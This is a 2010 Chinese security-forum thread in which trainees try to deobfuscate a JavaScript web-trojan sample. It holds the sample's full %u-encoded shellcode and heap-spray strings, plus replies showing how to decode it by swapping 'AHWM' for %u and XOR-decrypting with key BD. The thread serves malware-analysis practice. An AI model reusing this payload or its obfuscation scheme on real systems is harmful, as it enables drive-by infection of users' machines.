瑞星卡卡安全论坛综合娱乐区活动专区实习生专区实习生交流区 有点崩溃,实在是没辙了,前面4个变量也替换了啊,怎么解都不行

1   1  /  1  页   跳转

[问题/讨论] 有点崩溃,实在是没辙了,前面4个变量也替换了啊,怎么解都不行

有点崩溃,实在是没辙了,前面4个变量也替换了啊,怎么解都不行



引用:
var koko='%'+'u'+'B'+'D'+'B'+'D';

var kiko='%'+'u'+'5'+'8'+'5'+'8';

var kilo='%'+'u'+'F'+'F'+'F'+'F';

var uuanwmo='%'+'uA7D7%uD7EE%u42BD%'+'uE1EB%u7D8E%u3DFD%uBE81%'+'uC8BD%u7A44%uBEB9%uDBE1%'+'uD893%uF97A%uB9BE%uD8C5'+koko+'%u748E%uECEC%uEAE'+'E%u8EEC%u367D%uE5FB%'+'u9F55%uBDBC%u3EBD%uBD45%u1E54'+koko+'%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5'+koko+'%uEE7D%uFB36%u5599%uBCBC'+koko+'%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD'+'7DD%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5'+'BD';

var AH00=kiko;

var AH01=AH00+AH00+'%'+'u1'+'0E'+'B%'+'u4B'+'5B%'+'uC9'+'33%uB9'+'66%u'+'03B8%u3480%uBD'+'0B%uFAE2%u05EB%'+'uEBE8'+kilo+'%u54FF';

var AH02='%uBEA3'+koko+'%uD9E2%u8D1C'+koko+'%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%';

var yesah='uD'+'5BD%'+'uD5CE%uD2D9%'+'u36E9%uB1FB%u9955'+koko+'%u34BD%u81FB%u1CD9%uBDB9'+koko+'%u1D30%u42D'+'D%';
var yesah2='u42'+'42%'+'uD8D7%uCB42%u'+'3681%uADFB%uB555'+koko+'%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u85'+'3D%';
var yesah3='uC'+'854%'+'u3CAC%uB8C5%u2'+'D2D%u2D2D%uB5C9%u423'+'6%u36E8%u3051%uB8FD%u5'+'D42%u1B55'+koko+'%u7EBD%';
var yesah4='u1D55'+koko+'%u05BD%uBCA'+'C%u3DB9%uB17F%u55BD%uBD2E'+koko+'%u513C%uBCBD%uBDBD%u4136%u7'+'A3E%';
var yesah5='u7AB'+'9%u8FBA%u2CC9%u7A'+'B1%uB9FA%u34DE%uF26C%uFA7A%u1D'+'B5%u2AD8%u7A76%uB1FA%uFDEC%'+'uC207%';
var yesah6='uFA7'+'A%u83AD%u0BA0%'+'u7A84%uA9FA%uD405%uA669%uFA'+'7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108'+'A%';
var yesah7='uFA'+'7A%u259D%'+'uADB7%uD945%u8D1C'+koko+'%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%'+'uE4B9%';
var yesah8='uE955'+koko+'%u2DBD%u455F%u8ED5%uBD8F%u'+'D5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536';
var yesah9='%uB8D7%u55E4%uBD88'+koko+'%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%';
var yesah10='u340'+'5%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%'+'u6136%uD7EE%uD5FD%uADBD'+koko+'%u36EA%u9DFB%uA555';
var yesah11='%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%';
var yesah12='u8E78%uB26'+'6%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA'+'286%u5AC8%u36E3%u99E3%u60BE';
var yesah13='%u36DB%uF6B1%'+'uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4'+'241%u0F42%u5F4F%u8449%';
var yesah14='uC05F%u'+'673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA'+'376%';
var yesah15='uD'+'919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4'+'%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC'+'066%';

var AH04=yesah+yesah2+yesah3+yesah4+yesah5+yesah6+yesah7+yesah8+yesah9+yesah10+yesah11+yesah12+yesah13+yesah14+yesah15;
var AH03='uB'+'DBF%'+'u2DBD%u455F%'+'u8ED5%uBD8F%uD5BD%uCE'+'E8%uCFD8%u36E9%uB1FB%'+'u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D2'+koko+'%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD'+'%uD755%uE4BC%uD355%uBDBF%u5FBD%uD'+'544%u8ED1%uBD8F%'+'uCED5%uD8D5%uE9D1%uFB36%'+'u55B1%uBCD2'+koko+'%u5536%uBCD7%u55E4%uBFF2'+koko+'%u445F%u513C%uBCBD'+koko+'%u6136%u7E3C%uBD3D'+koko+'%uBDD7'+uuanwmo+'%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC9'+'09%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u'+'5F09%u3456%u3D3B'+koko+'%u7ABD%uCDFB%uBDBD'+koko+'%uFB7A%uBDC9'+koko+'%uD7BD%uD7BD%uD7BD%u36BD'+'%uDDFB%u42ED%u85EB%u3B36%uBD3D'+koko+'%uBDD7%uF330%uECC9%uCB42%uED'+'CD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD'+koko+'%u7136%u453E%uC0E'+'9%u34B5%uBCA1%u7D3E%u56B9%u3'+'64E%u3671%u3E64%uAD7E%u7D8E%uECED'+'%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%u'+'AD55%uBDBC%u55BD%uBDD8'+koko+'%uDED5%uCA'+'CB%';

var AH05='u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B';

var AH06='AHWM4627AHWMA8EEAHWMd5dbAHWMc9c9AHWM87cdAHWM9292AHWMcacaAHWM93caAHWM8a8dAHWM8a8dAHWM938eAHWMd2deAHWM92d0AHWM92c9AHWM93dfAHWMdccfAHWMbdcfAHWMbd';

如题,求助~!

用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6
最后编辑瑞星工程师13 最后编辑于 2010-03-02 13:28:40
娱乐致死还是娱乐至死啊?
分享到:
gototop
 

回复:有点崩溃,实在是没辙了,前面4个变量也替换了啊,怎么解都不行

直接看到AHWM4627AHWMA8EEAHWMd5dbAHWMc9c9AHWM87cdAHWM9292AHWMcacaAHWM93caAHWM8a8dAHWM8a8dAHWM938eAHWMd2deAHWM92d0AHWM92c9AHWM93dfAHWMdccfAHWMbdcfAHWMbd
这里把AHWM替换为%u
然后用密匙BD解密
gototop
 

回复 2F ty88 的帖子

直接有点晕乎乎了
要想从里面找出相同点也很困难

AHWM看了半天才看出来,只知道一堆英文,需要慢慢看
gototop
 

回复:有点崩溃,实在是没辙了,前面4个变量也替换了啊,怎么解都不行

这个我做了```给你说下,希望我能给你说清楚
前三行就是一个变量代换实际上
koko=%uBDBD

var kiko=%u5858

var kilo=%uFFFF

var AH00=kiko;这个也是一个变量代换

然后你把所有出现这些的地方全部换成%uXXXX形式的
这些就OK了

最后一行
分析下,AHWM相当于是u%
但是要注意最后
AHWMbd    这点,说出了是一个bd类型的,这样你解密的时候参数写bd
解密  OK了
gototop
 

回复 1F 暗夜的雪 的帖子

最近你提问的几个帖子我也跟着看了
但是一直都没明白到底是怎么回事
今天在坛子里无意中看到了一个帖子不知道对你是不是有些帮助
http://bbs.ikaka.com/showtopic-8656028.aspx

还有以后可不可以把代码保存为.txt发上来
直接发代码瑞星防火墙会报毒的
gototop
 

回复 4F 小傻大呆 的帖子

thank you~~~ 居然没看到AHWM  记得以前解过这样的马的, 呵呵谢谢你啦~
AHWM4627AHWMA8EEAHWMd5dbAHWMc9c9AHWM87cdAHWM9292AHWMcacaAHWM93caAHWM8a8dAHWM8a8dAHWM938eAHWMd2deAHWM92d0AHWM92c9AHWM93dfAHWMdccfAHWMbdcfAHWMbd
不过好像只需要这一段代码换掉~  前面的变量换掉以后 解密得不出什么有用的东西呀~~估计是拿来迷惑人的~
最后编辑暗夜的雪 最后编辑于 2010-02-11 00:50:56
娱乐致死还是娱乐至死啊?
gototop
 

回复 5F DragonKid 的帖子

哦~呵呵  以后注意~
娱乐致死还是娱乐至死啊?
gototop
 

回复 2F ty88 的帖子

哎。。前面换了半天变量里的东西。。被最后一招给损了~~~~
娱乐致死还是娱乐至死啊?
gototop
 

回复 6F 暗夜的雪 的帖子

没事,你弄出来了就好

前面的应该是迷惑人的,我现在也不是特别熟悉,慢慢来,时间长了应该就好分辨哪个比较重要了
gototop
 

回复:有点崩溃,实在是没辙了,前面4个变量也替换了啊,怎么解都不行

AHWM 替换为%u 然后BD解密~
天地间那一抹不灭的流光 即我
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT